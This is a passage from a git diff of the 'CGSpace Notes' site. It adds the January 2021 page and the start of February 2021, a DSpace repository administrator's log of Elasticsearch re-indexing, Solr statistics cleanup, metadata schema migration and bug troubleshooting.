b/docs/2020/07/dimensions-badge2.png differ diff --git a/docs/2020/07/jmx_dspace_sessions-day.png b/docs/2020/07/jmx_dspace_sessions-day.png new file mode 100644 index 000000000..9218a154e Binary files /dev/null and b/docs/2020/07/jmx_dspace_sessions-day.png differ diff --git a/docs/2020/07/postgres_locks_ALL-day.png b/docs/2020/07/postgres_locks_ALL-day.png new file mode 100644 index 000000000..b2a9fe5f7 Binary files /dev/null and b/docs/2020/07/postgres_locks_ALL-day.png differ diff --git a/docs/2020/07/postgres_transactions_ALL-day.png b/docs/2020/07/postgres_transactions_ALL-day.png new file mode 100644 index 000000000..b20df4108 Binary files /dev/null and b/docs/2020/07/postgres_transactions_ALL-day.png differ diff --git a/docs/2020/07/threads-day.png b/docs/2020/07/threads-day.png new file mode 100644 index 000000000..5f2c384df Binary files /dev/null and b/docs/2020/07/threads-day.png differ diff --git a/docs/2020/08/postgres_locks_ALL-day.png b/docs/2020/08/postgres_locks_ALL-day.png new file mode 100644 index 000000000..f29c8b1ee Binary files /dev/null and b/docs/2020/08/postgres_locks_ALL-day.png differ diff --git a/docs/2020/08/postgres_querylength_ALL-day.png b/docs/2020/08/postgres_querylength_ALL-day.png new file mode 100644 index 000000000..2b34e7084 Binary files /dev/null and b/docs/2020/08/postgres_querylength_ALL-day.png differ diff --git a/docs/2020/09/agrovoc-landvoc-sparql.png b/docs/2020/09/agrovoc-landvoc-sparql.png new file mode 100644 index 000000000..c0e4d075a Binary files /dev/null and b/docs/2020/09/agrovoc-landvoc-sparql.png differ diff --git a/docs/2020/09/ares-share-link.png b/docs/2020/09/ares-share-link.png new file mode 100644 index 000000000..4644f6782 Binary files /dev/null and b/docs/2020/09/ares-share-link.png differ diff --git a/docs/2020/09/postgres_connections_ALL-day.png b/docs/2020/09/postgres_connections_ALL-day.png new file mode 100644 index 000000000..5322da280 Binary files /dev/null and b/docs/2020/09/postgres_connections_ALL-day.png differ diff --git a/docs/2020/09/tgn-concept-uri.png b/docs/2020/09/tgn-concept-uri.png new file mode 100644 index 000000000..2278d6205 Binary files /dev/null and b/docs/2020/09/tgn-concept-uri.png differ diff --git a/docs/2020/09/viaf-authority.png b/docs/2020/09/viaf-authority.png new file mode 100644 index 000000000..9c4c61948 Binary files /dev/null and b/docs/2020/09/viaf-authority.png differ diff --git a/docs/2020/09/viaf-darwin.png b/docs/2020/09/viaf-darwin.png new file mode 100644 index 000000000..c7f4eb058 Binary files /dev/null and b/docs/2020/09/viaf-darwin.png differ diff --git a/docs/2020/11/postgres_connections_ALL-week.png b/docs/2020/11/postgres_connections_ALL-week.png new file mode 100644 index 000000000..63f90a4d8 Binary files /dev/null and b/docs/2020/11/postgres_connections_ALL-week.png differ diff --git a/docs/2020/11/postgres_connections_ALL-week2.png b/docs/2020/11/postgres_connections_ALL-week2.png new file mode 100644 index 000000000..7b2bf48a2 Binary files /dev/null and b/docs/2020/11/postgres_connections_ALL-week2.png differ diff --git a/docs/2020/11/postgres_connections_ALL-week3.png b/docs/2020/11/postgres_connections_ALL-week3.png new file mode 100644 index 000000000..021fb5592 Binary files /dev/null and b/docs/2020/11/postgres_connections_ALL-week3.png differ diff --git a/docs/2020/11/postgres_locks_ALL-week.png b/docs/2020/11/postgres_locks_ALL-week.png new file mode 100644 index 000000000..62edfd657 Binary files /dev/null and b/docs/2020/11/postgres_locks_ALL-week.png differ diff --git a/docs/2020/11/postgres_locks_ALL-week2.png b/docs/2020/11/postgres_locks_ALL-week2.png new file mode 100644 index 000000000..08aa4e503 Binary files /dev/null and b/docs/2020/11/postgres_locks_ALL-week2.png differ diff --git a/docs/2020/11/postgres_locks_ALL-week3.png b/docs/2020/11/postgres_locks_ALL-week3.png new file mode 100644 index 000000000..c24739065 Binary files /dev/null and b/docs/2020/11/postgres_locks_ALL-week3.png differ diff --git a/docs/2020/11/postgres_transactions_ALL-week.png b/docs/2020/11/postgres_transactions_ALL-week.png new file mode 100644 index 000000000..d2a5f1e56 Binary files /dev/null and b/docs/2020/11/postgres_transactions_ALL-week.png differ diff --git a/docs/2020/11/postgres_xlog-week.png b/docs/2020/11/postgres_xlog-week.png new file mode 100644 index 000000000..744ea0bdf Binary files /dev/null and b/docs/2020/11/postgres_xlog-week.png differ diff --git a/docs/2020/11/postgres_xlog-week2.png b/docs/2020/11/postgres_xlog-week2.png new file mode 100644 index 000000000..32d444212 Binary files /dev/null and b/docs/2020/11/postgres_xlog-week2.png differ diff --git a/docs/2020/12/openrxv-duplicates.png b/docs/2020/12/openrxv-duplicates.png new file mode 100644 index 000000000..daa2ac160 Binary files /dev/null and b/docs/2020/12/openrxv-duplicates.png differ diff --git a/docs/2020/12/postgres_connections_ALL-day.png b/docs/2020/12/postgres_connections_ALL-day.png new file mode 100644 index 000000000..93b95029e Binary files /dev/null and b/docs/2020/12/postgres_connections_ALL-day.png differ diff --git a/docs/2020/12/postgres_connections_ALL-week.png b/docs/2020/12/postgres_connections_ALL-week.png new file mode 100644 index 000000000..42b21e808 Binary files /dev/null and b/docs/2020/12/postgres_connections_ALL-week.png differ diff --git a/docs/2020/12/postgres_connections_ALL-week2.png b/docs/2020/12/postgres_connections_ALL-week2.png new file mode 100644 index 000000000..43e75793a Binary files /dev/null and b/docs/2020/12/postgres_connections_ALL-week2.png differ diff --git a/docs/2020/12/postgres_locks_ALL-day.png b/docs/2020/12/postgres_locks_ALL-day.png new file mode 100644 index 000000000..3c1134031 Binary files /dev/null and b/docs/2020/12/postgres_locks_ALL-day.png differ diff --git a/docs/2020/12/postgres_locks_ALL-week.png b/docs/2020/12/postgres_locks_ALL-week.png new file mode 100644 index 000000000..ffbcfd2ec Binary files /dev/null and b/docs/2020/12/postgres_locks_ALL-week.png differ diff --git a/docs/2020/12/postgres_locks_ALL-week2.png b/docs/2020/12/postgres_locks_ALL-week2.png new file mode 100644 index 000000000..f3e257ca0 Binary files /dev/null and b/docs/2020/12/postgres_locks_ALL-week2.png differ diff --git a/docs/2020/12/postgres_querylength_ALL-day.png b/docs/2020/12/postgres_querylength_ALL-day.png new file mode 100644 index 000000000..3021bbaae Binary files /dev/null and b/docs/2020/12/postgres_querylength_ALL-day.png differ diff --git a/docs/2020/12/postgres_transactions_ALL-day.png b/docs/2020/12/postgres_transactions_ALL-day.png new file mode 100644 index 000000000..df1c77616 Binary files /dev/null and b/docs/2020/12/postgres_transactions_ALL-day.png differ diff --git a/docs/2020/12/solr-statistics-2010-failed.png b/docs/2020/12/solr-statistics-2010-failed.png new file mode 100644 index 000000000..c9454d9e3 Binary files /dev/null and b/docs/2020/12/solr-statistics-2010-failed.png differ diff --git a/docs/2020/12/solr-stats-duplicates.png b/docs/2020/12/solr-stats-duplicates.png new file mode 100644 index 000000000..c10d58fb7 Binary files /dev/null and b/docs/2020/12/solr-stats-duplicates.png differ diff --git a/docs/2021-01/index.html b/docs/2021-01/index.html new file mode 100644 index 000000000..14aeb4e88 --- /dev/null +++ b/docs/2021-01/index.html @@ -0,0 +1,742 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + January, 2021 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

January, 2021

+

+ + in + Notes + + +

+
+

2021-01-03

+
    +
  • Peter notified me that some filters on AReS were broken again +
      +
    • It’s the same issue with the field names getting .keyword appended to the end that I already filed an issue on OpenRXV about last month
      • +
    • I fixed the broken filters (careful to not edit any others, lest they break too!)
      • +
    +
    • +
  • Fix an issue with start page number for the DSpace REST API and statistics API in OpenRXV +
      +
    • The start page had been “1” in the UI, but in the backend they were doing some gymnastics to adjust to the zero-based offset/limit/page of the DSpace REST API and the statistics API
      • +
    • I adjusted it to default to 0 and added a note to the admin screen
      • +
    • I realized that this issue was actually causing the first page of 100 statistics to be missing…
      • +
    • For example, this item has 51 views on CGSpace, but 0 on AReS
      • +
    +
    • +
+
    +
  • Start a re-index on AReS +
      +
    • First delete the old Elasticsearch temp index:
      • +
    +
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+# start indexing in AReS
+
    +
  • Then, the next morning when it’s done, check the results of the harvesting, backup the current openrxv-items index, and clone the openrxv-items-temp index to openrxv-items:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 100278,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+$ curl -X PUT "localhost:9200/openrxv-items/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items/_clone/openrxv-items-2021-01-04
+$ curl -XDELETE 'http://localhost:9200/openrxv-items'
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-2021-01-04'
+

2021-01-04

+
    +
  • There is one item that appears twice in AReS: 10568/66839 + +
    • +
  • Help Peter troubleshoot an issue with Altmetric badges on AReS +
      +
    • He generated a report of our repository from Altmetric and noticed that many were missing scores despite having scores on CGSpace item pages
      • +
    • AReS harvest Altmetric scores using the Handle prefix (10568) in batch, while CGSpace uses the DOI if it is found, and falls back to using the Handle
      • +
    • I think it’s due to the fact that some items were never tweeted, so Altmetric never made the link between the DOI and the Handle
      • +
    • I did some tweets of five items and within an hour or so the DOI API link registers the associated Handle, and within an hour or so the Handle API link is live with the same score
      • +
    +
    • +
+

2021-01-05

+
    +
  • A user sent me feedback about the dspace-statistics-api +
      +
    • He noticed that the indexer fails if there are unmigrated legacy records in Solr
      • +
    • I added a UUID filter to the queries in the indexer
      • +
    +
    • +
  • I generated a CSV of titles and Handles for 2019 and 2020 items for Peter to Tweet +
      +
    • We need to make sure that Altmetric has linked them all with their DOIs
      • +
    • I wrote a quick and dirty script called doi-to-handle.py to read the DOIs from a text file, query the database, and save the handles and titles to a CSV
      • +
    +
    • +
+
$ ./doi-to-handle.py -db dspace -u dspace -p 'fuuu' -i /tmp/dois.txt -o /tmp/out.csv
+
    +
  • Help Udana export IWMI records from AReS +
      +
    • He wanted me to give him CSV export permissions on CGSpace, but I told him that this requires super admin so I’m not comfortable with it
      • +
    +
    • +
  • Import one item to CGSpace for Peter
    • +
+

2021-01-07

+
    +
  • Import twenty CABI book chapters for Abenet
    • +
  • Udana and some editors from IWMI are still having problems editing metadata during the workflow step +
      +
    • It is the same issue Peter reported last month, that values he edits are not saved when the item gets archived
      • +
    • I added myself the the edit and approval steps of the collection on DSpace Test and asked Udana to submit an item there for me to test
      • +
    +
    • +
  • Atmire got back to me about the duplicate data in Solr +
      +
    • They want to arrange a time for us to do the stats processing so they can monitor it
      • +
    • I proposed that I set everything up with a fresh Solr snapshot from CGSpace and then let them start the stats process
      • +
    +
    • +
+

2021-01-10

+ +
2021-01-10 10:03:27,692 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY, SubjectType=ITEM, SubjectID=1e8fb96c-b994-4fe2-8f0c-0a98ab138be0, ObjectType=(Unknown), ObjectID=null, TimeStamp=1610269383279, dispatcher=1544803905, detail=[null], transactionID="TX35636856957739531161091194485578658698")
+
    +
  • I filed a bug on Atmire’s issue tracker
    • +
  • Peter asked me to move the CGIAR Gender Platform community to the top level of CGSpace, but I get an error when I use the community-filiator command:
    • +
+
$ dspace community-filiator --remove --parent=10568/66598 --child=10568/106605
+Loading @mire database changes for module MQM
+Changes have been processed
+Exception: null
+java.lang.UnsupportedOperationException
+        at java.util.AbstractList.remove(AbstractList.java:161)
+        at java.util.AbstractList$Itr.remove(AbstractList.java:374)
+        at java.util.AbstractCollection.remove(AbstractCollection.java:293)
+        at org.dspace.administer.CommunityFiliator.defiliate(CommunityFiliator.java:264)
+        at org.dspace.administer.CommunityFiliator.main(CommunityFiliator.java:164)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • There is apparently a bug in DSpace 6.x that makes community-filiator not work +
      +
    • There is a patch for the as-of-yet unreleased DSpace 6.4 so I will try that
      • +
    • I tested the patch on DSpace Test and it worked, so I will do the same on CGSpace tomorrow
      • +
    +
    • +
  • Udana had asked about exporting IWMI’s community on CGSpace, but we don’t want to give him super admin permissions to do that +
      +
    • I suggested that he use AReS, but there are some fields missing because we don’t harvest them all
      • +
    • I added a few more fields to the configuration and will start a fresh harvest.
      • +
    +
    • +
  • Start a re-index on AReS +
      +
    • First delete the old Elasticsearch temp index:
      • +
    +
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+# start indexing in AReS
+... after ten hours
+$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 100411,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+
    +
  • Looking over the last month of Solr stats I see a familiar bot that should have been marked as a bot months ago:
    • +
+
+

Mozilla/5.0 (compatible; +centuryb.o.t9[at]gmail.com)

+
+
    +
  • There are 51,961 hits from this bot on 64.62.202.71 and 64.62.202.73 +
      +
    • Ah! Actually I added the bot pattern to the Tomcat Crawler Session Manager Valve, which mitigated the abuse of Tomcat sessions:
      • +
    +
    • +
+
$ cat log/dspace.log.2020-12-2* | grep -E 'session_id=[A-Z0-9]{32}:ip_addr=64.62.202.71' | sort | uniq | wc -l
+0
+
    +
  • So now I should really add it to the DSpace spider agent list so it doesn’t create Solr hits +
      +
    • I added it to the “ilri” lists of spider agent patterns
      • +
    +
    • +
  • I purged the existing hits using my check-spider-ip-hits.sh script:
    • +
+
$ ./check-spider-ip-hits.sh -d -f /tmp/ips -s http://localhost:8081/solr -s statistics -p
+

2021-01-11

+
    +
  • The AReS indexing finished this morning and I moved the openrxv-items-temp core to openrxv-items (see above) +
      +
    • I sorted the explorer results by Altmetric attention score and I see a few new ones on the top so I think the recent tweeting of Handles by Peter and myself worked
      • +
    +
    • +
  • I deployed the community-filiator fix on CGSpace and moved the Gender Platform community to the top level of CGSpace:
    • +
+
$ dspace community-filiator --remove --parent=10568/66598 --child=10568/106605
+

2021-01-12

+
    +
  • IWMI is really pressuring us to have a periodic CSV export of their community +
      +
    • I decided to write a systemd timer to use dspace metadata-export every week, and made an nginx alias to make it available publicly
      • +
    • It is part of the Ansible infrastructure scripts that I use to provision the servers
      • +
    +
    • +
  • I wrote to Atmire to tell them to try their CUA duplicates processor on DSpace Test whenever they get a chance this week +
      +
    • I verified that there were indeed duplicate metadata values in the userAgent_ngram and userAgent_search fields, even in the first few results I saw in Solr
      • +
    • For reference, the UID of the record I saw with duplicate metadata was: 50e52a06-ffb7-4597-8d92-1c608cc71c98
      • +
    +
    • +
+

2021-01-13

+
    +
  • I filed an issue on cg-core asking about how to handle series name / number +
      +
    • Currently the values are in format “series name; series number” in the dc.relation.ispartofseries field, but Peter wants to be able to separate them
      • +
    +
    • +
  • Start working on CG Core v2 migration for DSpace 6, using my work from last year on DSpace 5
    • +
+

2021-01-14

+
    +
  • More work on the CG Core v2 migration for DSpace 6
    • +
  • Publish v1.4.1 of the DSpace Statistics API based on feedback from the community +
      +
    • This includes the fix for limiting the Solr query to UUIDs
      • +
    +
    • +
+

2021-01-17

+
    +
  • Start a re-index on AReS +
      +
    • First delete the old Elasticsearch temp index:
      • +
    +
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+# start indexing in AReS
+
    +
  • Then, the next morning when it’s done, check the results of the harvesting, backup the current openrxv-items index, and clone the openrxv-items-temp index to openrxv-items:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 100540,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+$ curl -X PUT "localhost:9200/openrxv-items/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items/_clone/openrxv-items-2021-01-18
+$ curl -XDELETE 'http://localhost:9200/openrxv-items'
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-2021-01-18'
+

2021-01-18

+
    +
  • Finish the indexing on AReS that I started yesterday
    • +
  • Udana from IWMI emailed me to ask why the iwmi.csv doesn’t include items he approved to CGSpace this morning +
      +
    • I told him it is generated every Sunday night
      • +
    • I regenerated the file manually for him
      • +
    • I adjusted the script to run on Monday and Friday
      • +
    +
    • +
  • Meeting with Peter and Abenet about CG Core v2 +
      +
    • We also need to remove CTA and CPWF subjects from the input form since they are both closed now and no longer submitting items
      • +
    • Peter also wants to create new fields on CGSpace for the SDGs and CGIAR Impact Areas +
        +
      • I suggested cg.subject.sdg and cg.subject.impactArea
        • +
      +
      • +
    • We also agreed to remove the following fields: +
        +
      • cg.livestock.agegroup
        • +
      • cg.livestock.function
        • +
      • cg.message.sms
        • +
      • cg.message.voice
        • +
      +
      • +
    • I removed them from the input form, metadata registry, and deleted all the values in the database:
      • +
    +
    • +
+
localhost/dspace63= > BEGIN;
+localhost/dspace63= > DELETE FROM metadatavalue WHERE metadata_field_id IN (115, 116, 117, 118);
+DELETE 27
+localhost/dspace63= > COMMIT;
+
    +
  • I submitted an issue to CG Core v2 to propose standardizing the camel case convention for a few more fields of ours
    • +
  • I submitted an issue to CG Core v2 to propose removing cg.series and cg.pages in favor of dcterms.isPartOf and dcterms.extent, respectively
    • +
  • It looks like we will roll all these changes into a CG Core v2.1 release
    • +
+

2021-01-19

+
    +
  • Abenet said that the PDF reports on AReS aren’t working +
      +
    • I had to install unoconv in the backend api container again
      • +
    +
    • +
+
$ docker exec -it api /bin/bash
+# apt update && apt install unoconv
+
    +
  • Help Peter get a list of titles and DOIs for CGSpace items that Altmetric does not have an attention score for +
      +
    • He generated a list from their dashboard and I extracted the DOIs in OpenRefine (because it was WINDOWS-1252 and csvcut couldn’t do it)
      • +
    • Then I looked up the titles and handles using the doi-to-handle.py script that I wrote last week
      • +
    +
    • +
  • I created a pull request to convert several CG Core v2 fields to consistent “camel case” + +
    • +
  • I created a pull request to fix some links in cgcore.html
    • +
+

2021-01-21

+
    +
  • File an issue for the OpenRXV backend API container’s missing unoconv +
      +
    • This causes PDF reports to not work, and I always have to go manually re-install it after rebooting the server
      • +
    +
    • +
  • A little bit more work on the CG Core v2 migration in CGSpace +
      +
    • I updated the migrate-fields.sh script for DSpace 6 and created all the new fields in my test instance
      • +
    +
    • +
+

2021-01-24

+
    +
  • Abenet mentioned that Alan Duncan could not find one of his items on AReS, but it is on CGSpace + +
    • +
  • Import fifteen items to CGSpace for Peter after doing a brief check in OpenRefine and csv-metadata-quality
    • +
  • Ben Hack asked me why I’m still using the default favicon on CGSpace + +
    • +
  • Start a re-index on AReS +
      +
    • First delete the old Elasticsearch temp index:
      • +
    +
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+# start indexing in AReS
+
    +
  • Then, the next morning when it’s done, check the results of the harvesting, backup the current openrxv-items index, and clone the openrxv-items-temp index to openrxv-items:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 100699,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+$ curl -X PUT "localhost:9200/openrxv-items/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.b
+locks.write":true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items/_clone/openrxv-items-2021-01-25
+$ curl -XDELETE 'http://localhost:9200/openrxv-items'
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-2021-01-25'
+
    +
  • Resume working on CG Core v2, I realized a few things: +
      +
    • We are trying to move from dc.identifier.issn (and ISBN) to cg.issn, but this is currently implemented as a “qualdrop” input in DSpace’s submission form, which only works to fill in the qualifier (ie dc.identier.xxxx) +
        +
      • If we really want to use cg.issn and cg.isbn we would need to add a new input field for each separately
        • +
      +
      • +
    • We are trying to move series name/number fro mdc.relation.ispartofseries to dcterms.isPartOf, but this uses a special “series” input type in DSpace’s submission form that joins series name and number with a colon (;) +
        +
      • If we really want to do that we need to add two separate input fields for each
        • +
      +
      • +
    +
    • +
+

2021-01-25

+
    +
  • Finish indexing AReS and adjusting the indexes (see above)
    • +
  • Merged the changes for the favicon in to the 6_x-prod branch
    • +
  • Meeting with Peter and Abenet about CG Core v2 +
      +
    • We agreed to go ahead with it ASAP and share a list of the changes with Macaroni, Fabio, and others and give them a firm timeline
      • +
    • We also discussed the CSV export option on DSpace 6 and were surprised to see that it kinda works
      • +
    • If you do a free-text search it works properly, but if you try to use the metadata filters it doesn’t
      • +
    • I changed the default setting to make it available to any logged in user and will deploy it on CGSpace this week
      • +
    +
    • +
+

2021-01-26

+
    +
  • Email some CIAT users who submitted items with upper case AGROVOC terms +
      +
    • I will do another global replace soon after they reply
      • +
    +
    • +
  • Add CGIAR Impact Areas and UN Sustainable Development Goals (SDGs) to the 6x_prod branch
    • +
  • Looking into the issue with exporting search results in XMLUI again +
      +
    • I notice that there is an HTTP 400 when you try to export search results containing a filter
      • +
    • The Tomcat logs show:
      • +
    +
    • +
+
Jan 26, 2021 10:47:23 AM org.apache.coyote.http11.AbstractHttp11Processor process
+INFO: Error parsing HTTP request header
+ Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
+java.lang.IllegalArgumentException: Invalid character found in the request target [/discover/search/csv?query=*&scope=~&filters=author:(Alan\%20Orth)]. The valid characters are defined in RFC 7230 and RFC 3986
+        at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:213)
+        at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1108)
+        at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:654)
+        at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:317)
+        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+        at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+        at java.lang.Thread.run(Thread.java:748)
+
+
# grep -E '26/Jan/2021:(08|09|10|11|12)' /var/log/nginx/rest.log | goaccess --log-format=COMBINED -
+
    +
  • The culprit seems to be the ILRI publications importer, so that’s OK
    • +
  • But I also see an IP in Jordan hitting the REST API 1,100 times today:
    • +
+
80.10.12.54 - - [26/Jan/2021:09:43:42 +0100] "GET /rest/rest/bitstreams/98309f17-a831-48ed-8f0a-2d3244cc5a1c/retrieve HTTP/2.0" 302 138 "http://wp.local/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
+
    +
  • Seems to be someone from CodeObia working on WordPress +
      +
    • I told them to please use a bot user agent so it doesn’t affect our stats, and to use DSpace Test if possible
      • +
    +
    • +
  • I purged all ~3,000 statistics hits that have the “http://wp.local/" referrer:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>referrer:http\:\/\/wp\.local\/</query></delete>"
+
+

2021-01-27

+
    +
  • Abenet approved my submission to CGSpace for the CSV metadata quality checker: https://hdl.handle.net/10568/110997
    • +
  • Add SDGs and Impact Areas to the XMLUI item display
    • +
  • Last week Atmire got back to me about the duplicates in Solr +
      +
    • The deduplicator appears to be working, but you need to limit the number of records, for example -r 100 so it doesn’t crash due to memory
      • +
    • They pointed to a few records solr_update_time_stamp:1605635765897 that have hundreds of duplicates which are now gone (still present if you look on the production server)
      • +
    • I need to try this again before doing it on CGSpace
      • +
    +
    • +
+

2021-01-28

+
    +
  • I did some more work on CG Core v2 +
      +
    • I tested using cg.number twice in the submission form: once for journal issue, and once for series number
      • +
    • DSpace gets confused and ends up storing the number twice, even if you only enter it in one of the fields
      • +
    • I suggested to Marie that we use cg.issue for journal issue, since we’re already going to use cg.volume
      • +
    • That would free up cg.number for use by series number
      • +
    +
    • +
  • I deployed the SDGs, Impact Areas, and favicon changes to CGSpace and posted a note on Yammer for the editors +
      +
    • Also ran all system updates and rebooted the server (linode18)
      • +
    +
    • +
+

2021-01-31

+
    +
  • AReS Explorer has been down since yesterday for some reason +
      +
    • First I ran all updates and rebooted the server (linode20)
      • +
    • Then start a re-index, first deleting the old Elasticsearch temp index:
      • +
    +
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+# start indexing in AReS
+
    +
  • Sent out emails about CG Core v2 to Macaroni Bros, Fabio, Hector at CCAFS, Dani and Tariku
    • +
  • A bit more minor work on testing the series/report/journal changes for CG Core v2
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2021-02/index.html b/docs/2021-02/index.html new file mode 100644 index 000000000..8b00c8b55 --- /dev/null +++ b/docs/2021-02/index.html @@ -0,0 +1,952 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + February, 2021 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

February, 2021

+

+ + in + Notes + + +

+
+

2021-02-01

+
    +
  • Abenet said that CIP found more duplicate records in their export from AReS + +
    • +
  • I had a call with CodeObia to discuss the work on OpenRXV
    • +
  • Check the results of the AReS harvesting from last night:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 100875,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
    +
  • Set the current items index to read only and make a backup:
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items/_settings" -H 'Content-Type: application/json' -d' {"settings": {"index.blocks.write":true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items/_clone/openrxv-items-2021-02-01
+
    +
  • Delete the current items index and clone the temp one to it:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items'
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items
+
    +
  • Then delete the temp and backup:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+{"acknowledged":true}%
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-2021-02-01'
+
    +
  • Meeting with Peter and Abenet about CGSpace goals and progress
    • +
  • Test submission to DSpace via REST API to see if Abenet can fix / reject it (submit workflow?)
    • +
  • Get Peter a list of users who have submitted or approved on DSpace everrrrrrr, so he can remove some
    • +
  • Ask MEL for a dump of their types to reconcile with ours and CG Core
    • +
  • Need to tag ILRI collection with license!! For pre-2010 use “Other” unless a license is already there; 2010-2020 do the ilri content in batches (2010-2015: CC-BY-NC-SA; 2016-onwards: CC-BY); +
      +
    • ONLY if ILRI / International Livestock Research Institute is the publisher, no journal articles, no book chapters…
      • +
    +
    • +
  • I tried to export the ILRI community from CGSpace but I got an error:
    • +
+
$ dspace metadata-export -i 10568/1 -f /tmp/2021-02-01-ILRI.csv
+Loading @mire database changes for module MQM
+Changes have been processed
+Exporting community 'International Livestock Research Institute (ILRI)' (10568/1)
+           Exception: null
+java.lang.NullPointerException
+        at com.google.common.base.Preconditions.checkNotNull(Preconditions.java:212)
+        at com.google.common.collect.Iterators.concat(Iterators.java:464)
+        at org.dspace.app.bulkedit.MetadataExport.addItemsToResult(MetadataExport.java:136)
+        at org.dspace.app.bulkedit.MetadataExport.buildFromCommunity(MetadataExport.java:125)
+        at org.dspace.app.bulkedit.MetadataExport.<init>(MetadataExport.java:77)
+        at org.dspace.app.bulkedit.MetadataExport.main(MetadataExport.java:282)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
